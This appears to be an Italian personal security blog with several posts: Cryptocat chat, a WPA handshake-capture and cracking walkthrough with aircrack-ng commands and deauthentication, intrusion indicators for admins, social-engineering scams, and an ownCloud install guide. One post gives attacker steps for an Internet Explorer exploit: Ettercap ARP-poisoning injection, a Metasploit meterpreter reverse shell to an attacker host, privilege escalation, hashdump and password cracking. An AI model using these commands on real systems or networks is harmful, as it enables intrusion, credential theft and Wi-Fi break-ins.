4/21/2013

Comunicare sicuri

Ogni canale di comunicazione che conosciamo è soggetto ad intercettazioni e registrazione delle conversazioni per eventuali consulti al momento e nel futuro prossimo. Ci sono però canali che offrono una maggior garanzia di riservatezza, come ad esempio la crypto.cat, una chat crittografata disponibile per più piattaforme oltre ai dispositivi mobile. Il suo utilizzo è semplicissimo, su Android e dispositivi a cui si accede non si deve far altro che digitare a caso e il più velocemente possibile caratteri della tastiera per creare l'hash di quella che poi sarà la chiave, quindi digitare un nome stanza che non deve avere lettere maiuscole, scegliere un nikname o lasciare quello assegnato e vi ritrovate nella stanza, a quel punto non vi rimane che avvisare le persone con cui volete parlare nella stanza ed è fatta. Alla chiusura della conversazione non sarà possibile recuperare quanto digitato e sul server saranno cancellate in un ora tutte le tracce della conversazione stessa. Al momento è il modo più sicuro per comunicare senza il rischio di venir intercettati, sebbene crypto.cat ha dovuto vedersela con varie controversie ne è comunque uscita vincitrice e continua ad offrire il suo servizio. È un progetto open source, quindi completamente libera e trasparente. Crypto.cat è usata da giornalisti per garantirsi la riservatezza e che le notizie non siano recuperate da terzi o concorrenza, ma non è nemmeno da considerarsi la bacchetta magica e quindi bisogna fare attenzione in quanto l'IP non viene mascherato, anche se è possibile usarla attraverso le reti TOR per mascherare il proprio indirizzo IP, non offre nessuna garanzia per i keylogger e quindi se è presente un keylogger hardware o software in una macchina non viene rilevato ed è in grado di registrare comunque i caratteri digitati sulla tastiera. Come per tutto il resto anche le persone inaffidabili non garantiscono la vostra riservatezza, quindi fate attenzione con chi scegliete di condividere i vostri fatti personali anche attraverso crypto.cat in quanto spesso è utilizzata per manipolare la fiducia delle persone invitandole ad una conversazione sicura solo per ottenere informazioni più approfondite per poi tradire la vostra fiducia. Crypto.cat è disponibile come estensione nel browser come ad esempio ADDON per Firefox o aggiungendolo su Google-browser e su Saphari e come app su MacStore. Non mi rimane che invitarvi a saperne di più sul progetto visitando il Sito crypto.cat.


4/03/2013

Testiamo la sicurezza delle reti Wi-Fi nel modo più semplice

La procedura seguente indica i passaggi per attaccare le reti Wireless per il solo scopo di testare la sicurezza della propria rete wireless. Ogni uso improprio di questa procedura viola la legge.

Le reti Wireless che oggi conosciamo bene nascono con una struttura fragile, infatti la prima cifratura WEP che usavano faceva acqua da tutte le parti ed era possibile bucarle in meno di 60 secondi. Con il tempo si è corsi al riparo rafforzando le WEP con versioni più robuste, la WPA che per l'appunto è una WEP modificata e le WPA2 che offrono maggiore sicurezza. Visto che le WEP si stanno via via estinguendo con la sostituzione dei modem/router e aggiornamenti firmware ci concentreremo sulle reti WPA e WPA2 per un resoconto delle impostazioni sulla nostra rete. Dobbiamo dire che alcuni strumenti che conosciamo come WPATester non sono altro che calcolatrici di una formula specifica che in base all'anno di produzione, MAC Address del dispositivo ed ESSID mostrano la key predefinita, quindi non dobbiamo assolutamente lasciare questa phassphrase ma sostituirla con un altra che sceglieremo accuratamente, magari inserendo più caratteri tra maiuscole e minuscole e simboli vari per rendere il compito davvero arduo. Detto questo possiamo cominciare. La prima cosa che ci occorre sono gli strumenti necessari per eseguire i test, quindi kismet e aicrack-ng per primi, se volete usarli nella vostra distribuzione Linux preferita sappiate che kismet necessita (spesso)di una configurazione in manuale visto che non viene inserita di default l'interfaccia di rete wireless. L'alternativa è scaricarsi un distribuzione LIVE che è sviluppata appositamente per questi test ed altre analisi di rete, ce ne sono varie, la più nota è forse la backtrack-linux che comprende anche un interfaccia grafica per aircrack-ng, Gerix, realizzata con BUC (Basta Un Clic). La suite aircrack-ng è disponibile anche per Windows ma leggetevi bene il Wiki per l'installazione in quanto necessita di componenti aggiuntivi, inoltre ricordate che Windows supporta solo un sottoinsieme limitato di comandi. Possiamo cominciare. Nel crack di una rete WPA e WPA2 è più semplice la fprocedura di sniffing, mentre la fase del cracking è un pò più difficile e fortunosa, del resto dobbiamo servirci di un bruteforce attack con dizionario. Quello che dobbiamo fare è catturare il famoso handhake,  quando è catturato possiamo dedicarci al crack anche se offline, quindi con comodo. Il resto dipende tutto dai dizionari e la validità di questi, oppure, sempre con un file dizionazio specifico di lettere, numeri e caratteri di ogni tipo e presenti sulla tastiera, farsi aiutare da jhon the ripper in combinazione con cowpatty, cosa che vedremo più avanti. Quindi il primo passaggio è la cattura di handhake, che non dovete certo dare per scontato al primo tentativo perché questo famoso handhake è semplicemente un "file" di dati di comunicazione tra il client ed il punto di accesso, per cui dobbiamo aspettare tutto il tempo necessario per far si che qualche client esegua la connessione per poter essere certi di avere a disposizione un handhake valido per proseguire. Questa fase in genere è molto lunga, vuoi che non ci sono client che si collegano da giorni o per variabili che fanno parte della procedura, come ad esempio la distanza dalla rete e quindi la potenza del segnale, ma nel nostro test in casa propria questo problema non esiste e ci basterà far collegare un laptop per almeno 3 volte per far si che questo handhake sia catturato al più presto, nel totale non fermate la cattura se non ci sono almeno 50000 (cinquantamila) pacchetti catturati. Detto cosa ci serve possiamo procedere, quindi giocando a fare gli hacker lanceremo kismet per identificare la rete che ci interessa, almeno per ciò che riguardano dati importanti, l'indirizzo MAC (MAC Address) del punto di accesso (il nostro router in questo caso), il canale di trasmissione e  la  modalità (802.11 b/g/n), un attenzione anche alla velocità di trasmissione dati che ci servirà per aggiustare i settaggi. Con i dati riscontrati da kismet abbiamo cosi identificato e messo a nudo il nostro bersaglio, quindi passiamo alla fase successiva. Dobbiamo ora impostare la nostra interfaccia di rete Wireless in monitor mode (promiscua), quindi cominciamo a lanciare da terminale (ma potete farlo anche da Gerix), il comando:

airmon-ng stop wlan0

quindi rilanciarlo in monitor mode, dobbiamo ipostare anche il canale e quindi supponiamo che sia il canale 6:

airmon-ng start wlan0 6

a questo punto siamo pronti per lanciarsi nella cattura dati handhake, ma è possibile, prima di questo, "affinare" in base al rate e modalità di trasmissione, per cui dopo aver preso nota della velocità di trasmissione,  supponendo il rate sia 54M, possiamo dargli:

iwconfig wlan0 rate 54M

mentre per la modalità (volendo) dipende se si tratta di 802.11 b, 802.11 g e cosi via, il valore specifico, quindi 1 se b, 2 se g, mentre se vogliamo lasciarlo in automatico imposteremo 0, come da esempio:

iwpriv wlan0 mode 0

se la cattura non si dimostra performante possiamo abbassare il rate fino al valorew minimo di 1M:

iwconfig wlan0 rate 1M

non ci rimane quindi che lanciare il comando che metterà in ascolto la trasmissione dati e la cattura dei nostri dati handshake che andremo a scrivere in testhandshake per l'analisi successiva:

airodump-ng --bssid 00:AB:XX:XX:XX:XX --channel 6 -w testhandshake wlan0

come vediamo, airodump richiede alcuni parametri che sono --bssid corrispondente al Mac address (che nell'esempio ho inserito con XX al posto di numeri e lettere, ma voi dovrete mettere ciò che ricontrate) dell'obbiettivo, --channel che è ovviamente il canale e -w che indica la scrittura sul file testhandshake.

Non ci rimane quindi che aspettare, nel frattempo possiamo scollegare e ricollegare un nostro laptop per accelerare la cattura dei pacchetti (visto che testiamo la nostra rete) o se vogliamo "giocare" all'hacker lasciare che qualcuno in casa si colleghi per usare un altro comando chiamato aireplay per scollegarlo in modo di effettuare nuovamente l'accesso, cosi:

aireplay-ng -0 1 -a 00:AB:XX:XX:XX:XX -c 00:CD:XX:XX:XX:XX wlan0


nell'esempio il primo MAC è quello del bersaglio (AP), mentre il secondo MAC è quello del client collegato e che vogliamo disconnettere.
-0 sta per modalità --deauth ed il numero che segue (1), è il numero di pacchetti di de-autenticazione, possiamo anche cambiare questo numero a nostra scelta con 2, 3, 4 e cosi via, ma senza esagerare. A questo punto dobbiamo solo aspettare e aspettare, fin quando nella finestra di airodump non viene visualizzato:


WPA HANDSHAKE 



siamo quindi arrivati alla fine, abbiamo catturato gli handshake e non ci rimane che darli in pasto al crack che possiamo eseguire con:

aircrack-ng -w wordlist.txt -b 00:AB:XX:XX:XX:XX testhandshake.cap

dove ovviamente  wordlist è il file testo (possiamo aggiungere il percorso se si trova in altra cartella) ed il MAC è quello dell AP obbiettivo.
Non vi resta che aspettare ed avere fortuna, naturalmente nella wordlist che avrete preparato o scaricato potete aggiungere la vostra key per vedere il tempo che impiega nel verificarla oppure scaricarne varie per vedere se già presente, alcune wordlist sono di volumi enormi e inimmaginabili ve lo assicuro. Un alternativa è, come annunciato all'inizio, usare john the ripper in combinazione con coWPAtty, l'output del primo diventerà l'input del secondo (qui si usa un pipe ;)). Ma di questo ne parleremo un altra volta, se non volete aspettare consultate la guida QUI. Un ottimo forum e wiki riguardo l'uso degli strumenti delle suite è il seguente airodump.net, mentre un metodo alternativo e oggetto di discussione lo potete trovare in questo PDF. La procedura indicata è semplificata e potete provarla per provare la robustezza delle vostre reti senza fili. Ricordate che siete sempre e solo voi i responsabili delle vostre azioni. Buona giornata a tutti.

4/02/2013

Quando si subisce un attacco di Hacker

Prima o poi un Sistema sarà oggetto di un attacco da parte di un hacker. Questo accade a tutti, vuoi che si è usato per un breve periodo software con alcuni problemi, vuoi che durante la nostra assenza è stata scoperta una nuova falla e non eravamo presenti perché in viaggio o in ferie. Oppure sono stati fornite credenziali di accesso ad un sostituto o amico a cui il proprio sistema è visitato, o lo è stato in quel periodo, da un hacker che ha trovato cosi il punto di accesso al primo sistema. Nonostante ci si auguri che queste visite non accadono spesso ecco alcuni consigli utili per monitorare e tenere sotto controllo la situazione.

Rimozione della pagina Web
Molti hacker principianti o che vogliono dimostrare ad amici la loro visita ad un sito Web, oppure solo per annunciare il proprio attacco, si divertono a cambiare il contenuto della pagina, in genere la home perché si nota prima, lasciando un riconoscimento del proprio passaggio oppure opinioni personali in merito al sito preso di mira, in questo caso motivati da un idea condivisa come abbiamo visto nei recenti Defacing di personaggi politici nei propri portali. Se uno o più hacker desiderano mantenere l'accesso, raramente annunciano in questo o altro modo il loro passaggio o presenza.




Diminuzione drastica dello spazio disco - Warez
Un hacker usa spesso sistemi degli altri per memorizzare warez (versioni illegali o cracked di software commerciale), tool di hacking, materiale pornografico o altri file che vogliono avere a disposizione o che intendono condividere con altri. Quando questo succede notiamo che lo spazio libero disco diminuisce velocemente, l'uso di df indicherà in questo caso l'uso corrente del disco.




Uso elevato della rete
Se l'attività appare elevata anche quando non stiamo svolgendo attività, qualcuno potrebbe usare il sistema per vedere file, come appena detto nella voce precedente, o per attaccare altri sistemi in rete. Verificare in questo caso con netstat -na oppure l'output di lsof per visualizzare quali connessioni esistono.





Contattare altri amministratori
Se il sistema è usato per attaccare altri sistemi, gli amministratori che sono sotto attacco possono contattare altri amministratori per farlo sapere. Questa sarebbe una buona idea, peccato solo che spesso cercando di avvisarli lo stesso amministratore che ne riceve l'avviso pensa si tratti dell'hacker stesso. 




Interfacce di rete promiscue
Se gli hacker vogliono rimanere in ascolto delle reti in cui è connesso il computer, installeranno l'interfaccia in modalità promiscua, cioè per la cattura di tutti i pacchetti. Molto utile è esaminare le interfacce di rete con ifconfig -a e osservare nell'output se è presente PROMISC.





File di log annullati o troncati
Un hacker esperto è in grado di rimuovere singole righe dai file di log che mostreranno il suo accesso non autorizzato, mentre uno meno esperto può solo cancellare completamente i file. Di conseguenza, i file di log in cui mancheranno segmenti di tempo o sono cancellati in modo sospetto possono essere stati manomessi. Un buon metodo per verificare questi log mancanti è registrare i log in server aggiuntivi, per esempio tramite syslog, con cui poi è possibile fare un confronto.




Monomissione dei file utmp wtmp
Un hacker potrebbe cancellare le voci di login dai file utmp e wtmp con tools come wipe che svolge tale funzione velocemente o rimuovere completamente tali file per nascondere che si sono connessi. Se si notano dei troncamenti alla fine dei file è probabile che l'hacker abbia semplicemente cancellato il file. Strumenti come chklastlog e chkwtmp verificano questi file alla ricerca di segnali di manomissione. 




Nuovi utenti di sistema
La presenza di nuovi utenti nel file delle password è un evidente segno che qualcuno ha compromesso il sistema, è probabile si tratti di un principiante che non pensa di poter essere scoperto. Spesso usano username simili agli utenti esistenti per nascondersi meglio, come lpr al posto di lp oppure uuupc1 o per i più temerari, nomi che  fanno parte del gergo hacker come t00r, 0wn3d e simili.




Strani processi in esecuzione
Se si notano processi in esecuzione che non sono stati avviati e che non fanno parte del sistema è possibile che appartengono ad un hacker... voi che dite? Molti programmi saranno eseguiti con cron, perciò sarà necessario verificare il processo sospetto e vedere se non fa parte del sistema. Ad esempio, slocate è spesso fonte di preoccupazioni, poiché usa molte risorse di CPU e di disco nonostante sia una risorsa di sistema legittima, sebbene opzionale.




Uso di CPU senza spiegazioni
Gli hacker evoluti possono nascondere i loro processi o assegnare nomi di programmi di sistema legittimi come cron, inetd o slocate. Se il sistema mostra un elevato uso della CPU o se, semplicemente, sembra lento, la causa potrebbe essere l'hacker. Spesso usano programmi di verifica delle password, che sono generalmente molto pesanti per le CPU, alleggerendo cosi i propri sistemi.




Gli utenti locali non dispongono più degli account remoti
Un hacker si sposterà spesso seguendo gli utenti via via che accedono da un sistema al successivo. Accedendo al primo sistema, l'hacker potrebbe osservare le connessioni in uscita e compromettere l'account in un nuovo sistema, pertanto, un attacco di un utente in un sistema esterno può significare che l sistema diventerà presto un target o che è stato già oggetto di un attacco. In generale quando un account è compromesso, si consiglia di verificare la sicurezza di tutti gli altri account e modificare le password durante il processo.




Le cose sembrano strane
La maggior parte degli attacchi  sono stati scoperti quando l'amministratore ha pensato che qualcosa non andava e ha iniziato la ricerca. A volte vengono fuori problemi non legati all'hacking, come dischi difettosi, memorie non funzionanti o modifiche di rete non annunciate, ma spesso ci si accorge che il sistema è stato visitato da un hacker. È importante identificare la causa di un comportamento anomalo del sistema.




Per finire

Dopo aver verificato un intrusione non rimane che correre ai ripari. Le opinioni come i metodi a questo punto si dividono e non sono applicabili ad ogni sistema, per cui si deve analizzare caso per caso la situazione. Su una cosa ci si mette tutti nella stessa posizione, identificare la falla e correggerla nel più breve tempo possibile, questo però potrebbe far si che il tempo impiegato non sia poi cosi breve per cui le operazioni anche in questo caso variano. Non rimane quindi che mettersi al lavoro e sperare di risolvere nel migliore dei modi.



4/01/2013

La prima cosa che cede in un sistema IT è l'uomo

La prima cosa che cede in un sistema IT è l'uomo. Non serve che l'utente sentendosi vittima di Virus e Malware migra da Windows a Linux perché più sicuro come sistema, perché quindi nonChrome OS visto che ne è reduce vincitore dell'evento organizzato per tentare di "bucare" il sistema. Le tecnologie migliorano sotto ogni aspetto, offrono stabilità e miglior sicurezza con il tempo. Oggi tanti utenti usano Linux per vari motivi, ma nonostante questo è pur sempre l'uomo che fa si che sia più o meno sicuro. Parliamoci chiaro, il sistema sicuro è quello spento, inaccessibile fisicamente e non in rete, per il resto diciamo pure che rendiamo le cose difficili ai ficcanaso in modo di poterli tenere alla larga il più non posso. Certo che che se uno proprio deve e vuole, sarà una dura lotta, ma fatta di vittorie e sconfitte fin quando non si convincerà a tentare altrove.Chi non ha mai allineato un proprio dispositivo ad una rete aperta? Questa non sempre è pubblica, ma ignorata perché magari non abbiamo dispositivi per utilizzarla e ci colleghiamo in Ethernet (spero) visto che in USB sarebbe davvero uno spreco. Ecco, queste reti ignorate sono punti di accesso per chi le conosce bene, addirittura squadre girano tra i quartieri cercando AP liberi o poco protetti. Le protezioni sul wireless sono diverse, qualcuno preferisce rendere invisibile l'ESSID credendo che se il segnale non compare non può venir sfruttato. Altri ancora utilizzano protocolli di protezione semplici, visto che facendo un giro ho notato che su ogni 4 reti Wireless, due sono WPA2  una è WPA ed una è WEP ...e una rete WEP si cracca in un minuto. In tal caso consiglio a tutti di verificare l'età del proprio modem/router, quindi cambiarlo o farlo sostituire se in comodato o aggiornare il firmware se consente di aggiungere protocolli di cifratura più sicuri. Per quanto riguarda la sicurezza vedremo come si comporta un potenziale aggressore, indipendentemente dal tipo di accesso, quindi tutelarsi prendendo ogni eventuale contromisura a questo tipo di attacchi. Non prolunghiamoci in discorsi tecnici se prima non abbiamo ben chiaro dove si trova il punto più debole del Sistema, l'uomo. Infatti è grazie a questo che la maggior parte degli attacchi e intrusioni varie riscuotono successo, l'uomo nella sua buona fede o scarse conoscenze è il primo a cadere nella manipolazione di individui creativi e privi di scrupoli, l'uomo che cade vittima di tecniche, possiamo definirle proprio cosi, veri e propri studi di Ingegneria Sociale di cui solo la fantasia impone dei limiti, e come ben sappiamo, ciò che possiamo immaginare diventa possibile. Adesso però dobbiamo capire come comportarsi di fronte a casi simili, abbiamo la possibilità di conoscere queste tecniche descritte un due suoi libri da Kevin Mitnik "L'Arte dell'inganno" (Felrtinelli 2003) e "L'Arte dell'intrusione" (Feltrinelli 2006), per i cineasti consiglio la visione del Film "Takedown", più noto come Hackers 2. Le tecniche di Ingegneria Sociale sono varie, da una semplice conversazione telefonica al frugare nei cestini delle carta in cerca di informazioni, da un occhiata alle icone del desktop di un impiegato per vedere il software che usa o da una fotografia scattata da un cellulare per catturare una schermata ricca d'informazioni sensibili, queste ed altre ancora, alcune nemmeno immaginabili sono documenti importantissimi per un manipolatore sociale. Anche quando una tecnica di Phishing va a centro è opera di vulnerabilità dell'uomo, questo perché allarmato dalla mail ricevuta in merito al proprio conto o carta di credito, esegue subito l'accesso cliccando nel link associato e quindi inserendo le proprie credenziali di accesso e conto, ricevendo poi un messaggio di conferma che tutto è a posto mentre è proprio in quel momento che dovrebbe allarmarsi. La stessa cosa avviene anche con l'installazione di Trojan e malware in genere, questi nel 99% dei casi sono installati con il consenso dell'utente vittima. Le escamotage sono in agguato ogni giorno, una tecnica di manipolazione frequente ed in uso tutt'oggi è un offerta di lavoro che arriva da aziende straniere che non intendono aprire agenzie in Italia perché costose ma che vogliono espandersi, i settori sono vari e sempre difficili da verificare. Questi offrono un lavoro a dir poco allettante, uno stipendio che parte da 200 euro più incentivi, e già dallo stipendio fisso ci si deve fare qualche domanda, ma qualcuno ci cade sempre, magari spinto dal bisogno di reperire denaro per pagare l'affitto. La legge Italiana è molto chiara su determinati lavori, non è cosa per tutti ma richiede determinati requisiti, in particolare quando si eseguono transazioni (perché è di questo che si tratta). Infatti la vittima non deve far altro che dare le proprie coordinate bancarie o aprire un conto corrente, quindi nel giro di uno o due giorni dovrà prelevare la somma meno la percentuale dovuta ed eseguire la spedizione del denaro tramite Western Union e simili, in nominativi residenti all'estero, quindi non rintracciabili dalla Polizia Postale Italiana. Nel giro di una settimana verrete denunciati perché l'azienda o nominativo a cui vengono prelevati i soldi inoltra denuncia e sarete quindi i primi ad essere interrogati, potete dire che ignoravate il tutto e che era un lavoro, ma alla fine sarete incriminati per complicità. Se ricevete offerte simili controllate a dovere, non lasciatevi ingannare ne accecare dal bisogno di un lavoro perché le conseguenze non ve le raccomando. Quindi nel caso valutaste un offerta fate attenzione alla mail di riferimento, spesso gmail o di altri provvider, mentre su aziende serie questa è sempre del dominio interessato. Anche la sola mail non basta, cercate ogni informazione possibile, fate il whois dell'indirizzo aziendale, questo deve corrispondere, se localizzato negli USA ed il whois indica un azienda in Russia o altro paese non fidatevi. Ma torniamo al Social-engineering, trovate dettagli e informazioni su Internet, oppure visitate il sito social-engineer, magari trovate anche qualche informazione divertente come un manuale per farsi consegnare la Pizza a casa GRATIS. Per il momento ci salutiamo, spero di aver reso l'idea di quello che significa il titolo di questo post. La parte più debole e vulnerabile di un sistema è l'uomo che si trova tra la sedia e la tastiera, stessa cosa che molti amministratori di sistema dicono degli errori più comuni. La manipolazione è un Arte, ricordatelo sempre.... e non lo dico io ma Arthur Schopenhauer e da altri prima di lui che l'applicavano, Schopenhauer lo ha poi scritto in una sua Opera. Molto utile è saper riconoscere un tentativo di ingegneria sociale, questo PDF descrive vari metodi e relaziona il punto debole della struttura a quanto già detto, ma non solo, conoscere queste e altre tecniche fa si che possiamo prevedere un eventuale tentativo e accorgendosi del fatto possiamo respingerlo, sperando di averlo fatto in tempo.... buona lettura.

10/20/2012

All'attacco di Windows


Nuova Vulnerabilità in Internet Explorer. Ecco come ottenere username e password privati e prendere possesso dei PC altrui.

La recente pubblicazione di un Exploit che sfrutta una vulnerabilità 0day di IE, cioè non ancora resa pubblica. Tale vulnerabilità è presente nella funzione CMshtmlEd::Exec del file mshtml.dll del browser Microsoft sulle versioni 6, 7, 8, 9 e permette di eseguire comandi remoti all'interno del sistema Windows. Vediamo insieme come i "pirati" sfruttano questa falla.


INTERCETTARE IL TRAFFICO
Supponiamo di essere all'interno di una LAN con due PC, quello della vittima equipaggiato con Windows XP, che naviga su Internet protetto da Firewall e antivirus con indirizzo IP 192.168.85.170, mentre il PC aggressore con sistema GNU/Linux ed indirizzo IP 192.168.85.175. Essendo il PC vittima protetto da firewall l'aggressore non può collegarsi direttamente ad esso, ma deve sfruttare un BUG "client side", ovvero che va ad attaccare un client utilizzato dall'utente e non, invece, un servizio di sistema. Perché questo avvenga è necessario che il software client (nel nostro caso lo stesso browser IE), visualizzi un contenuto malevolo creato ad-hoc dall'aggressore, come ad esempio una pagina Web modificata all'occorrenza. Questo può avvenire in vari modi ed in particolare vedremo come un attacco di tipo ARP poisoning possa permettere di effettuare un MITM (Man In The Middle - "Uomo di mezzo")sulle connessioni di rete TCP. Le connessioni non avvengono direttamente tra il PC vittima e il Gateway che poi inoltre su Internet, ma vengono "intercettate" e modificate dall'aggressore. Per effettuare questa tipologia di attacco i Cracker utilizzano Ettercap, un tool pensato appositamente pet tale scopo. Il programma oltre a permettere al pirata di ricevere tutti i dati destinati al PC della vittima, grazie all'attacco di tipo ARP Poisoning, consente anche di modificare "on the fly" (al volo) il loro contenuto. L'aggressore sarà cosi in grado di modificare le risposte delle pagine Web inserendo al loro interno del codice malevolo. Per farlo occorre creare un nuovo "filtro" che si occupa di inserire il tag





 all'interno delle pagine Web di una risposta.




A questo punto l'aggressore deve "compilare" il filtro per renderlo successivamente utilizzabile da Ettecap:

etterfilter web.filter -o web.out

Inoltre abilita il fowarding dei pacchetti IP a livello kernel:

echo 1 > /proc/sys/net/ipv4/ip_foward

Infine esegue Ettercap fornendogli l'interfaccia di rete e l'indirizzo IP del PC vittima. In questo modo tutti i pacchetti saranno inoltrati verso la macchina:

ettercap -T -i eth0 -q -F web.out -M ARP /192.168.85.170/ //

Adesso tutto è pronto per procedere con l'esecuzione dell'exploit che ne sfrutta la vulnerabilità.


EXPLOIT
Per eseguire l'exploit l'aggressore utilizza Metasploit, mediante il quale, per prima cosa, genera le pagine modificate ad-hoc. Installato il software lo esegue con msfconsole e seleziona l'exploit da usare:

use exploit/windows/browser/ie_execcommand_uaf

Fatto questo imposta la porta ed il patch che risponderanno fornendo le pagine Web malevole.




L'aggressore sceglie di utilizzare un Payload basato su Meterpreter, uno strumento di attacco avanzato presente in Metasploit che, impostato come reverse shell, gli permette di baypassare il firewall e gli fornisce tutti gli strumenti necessari per sferrare l'attacco:

set PAYLOAD windows/meterpreter/reverse_tcp

A questo punto imposta l'indirizzo IP a cui si collegherà la reverse shell:

set LHOST 192.168.85.175

Infine esegue l'exploit con il comando exploit e non rimane (all'aggressore) che aspettare. Quando l'utente vittima visiterà qualche pagina Web, Internet Explorer in realtà si collegherà  alla macchine dell'aggressore ed avverrà l'esecuzione del codice malevolo.
Per l'aggressore è facile verificare tutto ciò in quanto appariranno numerose scritte all'interno di Metasploit. A Questo punto l'aggressore accede al Meterpreter:

sessions -i 1

Fatto questo, grazie alle tecniche di privilege escalation chiede di diventare SYSTEM, ovvero l'account dell'utente di sistema con i privilegi maggiori: getsystem. Nel frattempo si scollega temporaneamente alla sessione Meterpreter di riferimento, set SESSION 1, e lancia l'esecuzione del modulo con run. Il modulo di Metasploit hashdump restituirà all'aggressore una serie di linee cosi formate:

utente:id:LM HASH:NT HASH:::





A questo punto visualizzerà le HASH, ovvero le versioni cifrate delle password, per cui dovrà eseguire il crack.



CRACK DELLE PASSWORD
I sistemi operativi moderni non memorizzano le password di accesso al sistema in chiaro ma le cifrano. Al login il sistema esegue un confronto tra l'hash della password inserita dall'utente e quello memorizzato, che coincidendo permettono l'accesso al sistema. In questo momento l'aggressore non possiede le password di accesso, ma solo i relativi HASH, ovvero le password cifrate. L'unico modo per scoprire le password è quello di eseguire lo stesso algoritmo su una stringa iniziale e confrontarne il risultato. Tale operazione può essere eseguita mediante un dizionario oppure in modo incrementale provando tutte le password possibili. I sistemi Microsoft memorizzano queste informazioni con due algoritmi differenti: LM HASH e NT HASH. Nel primo caso la password viene memorizzata completamente in maiuscolo e l'hash è formato da due sottostringhe che prendono in considerazione la password a blocchi di 7 caratteri per un massimo di 2 blocchi. Nel caso di NT HASH la password invece può essere al massimo di 127 caratteri mantenendo anche le lettere minuscole e maiuscole. Per eseguire il password cracking l'aggressore utilizza il tool John The Ripper, un software (di cui abbiamo parlato molto) appositamente creato per effettuare questa tipologia di attacco. John The Ripper supporta entrambe le tipologie di HASH utilizzate dagli OS Microsoft e tutte e due possono fornire dati utili al suo scopo. Eseguendo JTR su un file contenente gli hash di windows, viene automaticamente utilizzato LM HASH:

john a

Per forzare JTR ad utilizzare NT HASH l'aggressore utilizza l'opzione format nel modo seguente:

john --format=nt a

Nel primo caso è possibile che vengano identificate più facilmente alcune tipologie di password, tuttavia bisogna poi individuare le lettere maiuscole e minuscole. Nel secondo caso invece l'aggressore otterrà le password formattate correttamente




È anche possibile utilizzare le Rainbow tables per recuperare più velocemente le password dagli hash grazie ad un attacco pre-computazionale.

10/15/2012

Una Nuvola in casa

Abbiamo già citato in alcuni post la possibilità di autocostruirsi un NAS servendosi di FreeNAS e di un vecchio PC o portatile, colgo anche l'occasione per ribadire che freeNAS bypassa i limiti del BIOS (che non necessita aggiornamento) supportando HDD in Terabyte senza alcun problema. Ma non è di questo che voglio parlarvi, nonostante l'argomento miri al risparmio sull'arte del far da se sfruttando le nuove tecnologie, è dunque di un sistema noto e sempre più diffuso che voglio consigliervi, il Cloud (Nuvola).



Il Web2 va in tale direzione, sempre più servizi come Dropbox, Ubuntu-ONE, Drive di Google e simili nascono per l'esigenza di epandere il proprio spazio e accedervi dovunque siamo e da differenti dispositivi sincronizzati. Quindi dalla nostra distribuzione preferita possiamo ottenere la nostra "nuvola" personale limitando lo spazio alla c apienza del disco e completamente gratis, cosi come per i già citati che offrono spazio variabile di qualche GB ma che nell'esigenza di espandere lo spazio il servizio è a pagamento. Creare il proprio Cloud non è cosi difficile e ci consente di realizzarlo nel migliore dei modi con tanto di gruppi di utenti per l'accesso. Conosco persone che per vari servizi si servono di server per gli usi più comuni alle proprie esigenze, altri che visto i costi mensili cercano di condividere le spese per uso comune, altri ancora che vedono crescere i costi di gestione per il volume sempre più maggiore richiesto. Il Cloud a casa non richiede nessun costo aggiuntivo, i limiti sono del volume stesso del disco e della banda disponibile,  ed è molto interessante. Quello che serve per realizzarlo è un computer con OS Linux installato, se abbiamo la nostra macchina con Ubuntu andrà benissimo ed è proprio con questo che andremo a vedere come fare  i vari passaggi per poterlo realizzare. Nella nostra macchina dobbiamo servirci di owcloud  il quale è una sorta di CMS con cui è possibile realizzare la nostra "Nuvola" sebbene l'installazione da "zero" non ve la consiglio per il tempo che dobbiamo impiegare nell'operazione, mentre un aiuto lo possiamo ricavare da BITNAMI. Sicuramente avete già sentito parlare di bitnami, pacchetti che semplificano la realizzazione di portali Web direttamente sul computer di casa offrendo un pacchetto server funzionante in locale, utilissimo per progettare, realizzare e testarne il funzionamento, ma non è solo questo quello che fa, infatti è proprio grazie a bitnami stack che eseguiremo un installazione semplificata da script senza dover preoccuparci dell'ambiente LAMP installato e configurato (piattaforma server). Come vedrete dalla pagina di download è possibile usare ownCloud anche su virtualizzazione nel modo più semplice e perfettamente funzionante, ma per ora procediamo con la più semplice installazione con bitnami.



Scaricate quindi il pacchetto: bitnami-owncloud-XXX-linux-installer.run, apriamo un terminale (CTRL+ALT+T) e dirigiamoci nella cartella del pacchetto scaricato, quindi diamo i permessi di esecuzione con:
sudo chmod +x bitnami-owncloud-4.0.7-0-linux-x64-installer.run 
(versione al momento della scrittura di questo testo, cosa che comunque vi aiuterà premendo il tasto TAB dopo l'inserimento dei primi caratteri di bitnami).

 A questo punto lo lanciamo:

  ./bitnami-owncloud-4.0.7-0-linux-x64-installer.run 

 Avanziamo con il WIZARD che ci accompagnerà nell'installazione e configurazione, facile e intuitiva.


Scegliamo la cartella dove installare ownCloud, nella home utente nel nostro esempio, quindi clicchiamo next e andiamo avanti, configuriamo l'amministratore dando username e password, un nostro indirizzo @mail valido e di nuovo next, a questo punto configuriamo la porta database MySQL, questa operazione possiamo lasciarla predefinita con la porta 3306 se non siamo molto esperti e non sappiamo quello che facciamo, quindi dobbiamo cliccare di nuovo su next e configurare la posta di uscita con l'indirizzo @mail dato in precedenza e relativa password.



A questo punto, inseriti i parametri di configurazione, l'installazione avrà inizio e richiederà il tempo necessario variabile secondo l'hardware, al termine cliccando su FINISH avremo la nostra Nuvola disponibile e funzionante. Abbiamo quasi finito, adesso non rimane altro che rendere accessibile il Cloud dall'esterno configurando il router nei vari servizi disponibili, questa operazione però varia in base al proprio Provider e abbonamento, chi ha già un indirizzo IP pubblico non deve far altro che instardare sulla porta 8080 il proprio Cloud, mentre chi ha IP dinamico dovra configurare su servizi come NO-IP, DynDNS e analoghi, un personale indirizzo, quindi anche su router nella configurazione DynamicDNS impostando il dominio servizio, indirizzo impostato e porta 8080.



Siamo quasi a fine, anche se ci vuole più a scrivere questi passaggi che a realizzarli, quindi proseguiamo aggiungendo i repository necessari, con l'esempio riportato su una distribuzione Ubuntu dovremo aprire un terminale e digitare da utente root (quindi comando su password) quanto segue:
echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04//'>> /etc/apt/sources.list

Quindi dare invio. Diamo adesso un

 sudo apt-get update

 e al termine installiamo il client con

sudo apt-get install owncloud-client

e appena finita l'installazione cerchiamo dalla Dash il software appena installato, lanciamolo e compiliamo i parametri con

https:// 192.168.1.X:8080/owncloud 

spuntiamo Use secure connection quindi nome amministratore per ownCloud e relativa password, quindi proseguiamo.
